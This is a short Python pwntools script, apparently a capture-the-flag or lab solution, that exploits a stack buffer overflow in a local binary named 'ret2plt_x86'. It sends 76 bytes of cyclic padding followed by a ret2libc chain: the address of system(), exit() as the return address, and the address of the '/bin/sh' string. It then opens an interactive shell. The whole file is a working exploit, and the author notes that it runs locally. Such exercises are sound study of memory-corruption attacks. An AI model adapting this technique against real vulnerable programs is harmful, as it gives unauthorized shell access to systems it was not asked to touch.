from pwn import *

context.log_level = 'DEBUG'

sh = process("./ret2plt_x86")

# system() in glibc
system_addr = 0xf7e0c830

# 76
prefix = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4A"

# "/bin/sh"
sh_addr = 0xf7f59352

# tmp can't be 0, since it will be intercepted... initially , I chose a random number -> 0/1, fxxk
# now use exit
tmp = 0xf7dff170

sh.send(prefix + p32(system_addr) + p32(tmp) + p32(sh_addr))

sh.interactive()

# this file works well locally
